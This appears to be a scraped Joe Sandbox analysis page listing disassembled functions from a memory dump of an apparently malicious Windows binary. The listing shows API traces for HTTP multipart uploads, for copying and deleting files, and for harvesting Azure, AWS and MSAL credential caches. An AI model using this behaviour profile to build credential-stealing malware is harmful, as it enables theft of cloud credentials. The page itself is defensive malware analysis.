Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0267B010), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0267B110,?,0267AEF0,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0267B060,00000000,?,026596E0,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 004052E7
------, xrefs: 00405549
------, xrefs: 0040568B
", xrefs: 00405756
", xrefs: 004054D2
------, xrefs: 00405407
--, xrefs: 004052D0
", xrefs: 00405614

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2633831070-2774362122
Opcode ID: a1e9ef5431eaa846d3a47b67c2182270dd0e508fa0fc64b6a51c56a6036f53b6
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: a1e9ef5431eaa846d3a47b67c2182270dd0e508fa0fc64b6a51c56a6036f53b6
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0267B010), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0267B0C0,00000000,?,026596E0,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0267B110,?,0267AEF0,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405C5B
", xrefs: 00405D25
------, xrefs: 00405AE6
", xrefs: 00405E66
------, xrefs: 00405D9C
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
XA, xrefs: 004060CA

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 148854478-2501203334
Opcode ID: 974ef60541471f5251777ea60b144edf994a377a0aebfdf0e512de411ba153aa
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 974ef60541471f5251777ea60b144edf994a377a0aebfdf0e512de411ba153aa
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: d1bfee1ce1bcba2332ad1ea3ff4d808295cfd4981e945619b7931bb4a7540782
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: d1bfee1ce1bcba2332ad1ea3ff4d808295cfd4981e945619b7931bb4a7540782
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02659800,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02655988,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: a823b0599fbb2dfe46b4b10bf09c23eb95977126a4cc77ed7ee6e175a6af38ea
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: a823b0599fbb2dfe46b4b10bf09c23eb95977126a4cc77ed7ee6e175a6af38ea
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0265C8A8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

\.aws\, xrefs: 0041492D
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
Azure\.IdentityService, xrefs: 004149CB
msal.cache, xrefs: 004149D0
\.azure\, xrefs: 004148A1
Azure\.azure, xrefs: 004148B3
*.*, xrefs: 004148B8
\.IdentityService\, xrefs: 004149B9
*.*, xrefs: 00414944
Azure\.aws, xrefs: 0041493F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 1e14282d3068892ecfd8ef1a9898795cb333a13778d9e0958f534f87ee8c2e99
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0267B010), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0267AFF0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0267B110,?,0267AEF0,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404B78
", xrefs: 00404D83
------, xrefs: 00404A0D
", xrefs: 00404C42
------, xrefs: 00404CB9

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: e8e3ac639a180a2193462cdd616153861071622b371d0a8d328dc4e5da759854
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: e8e3ac639a180a2193462cdd616153861071622b371d0a8d328dc4e5da759854
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

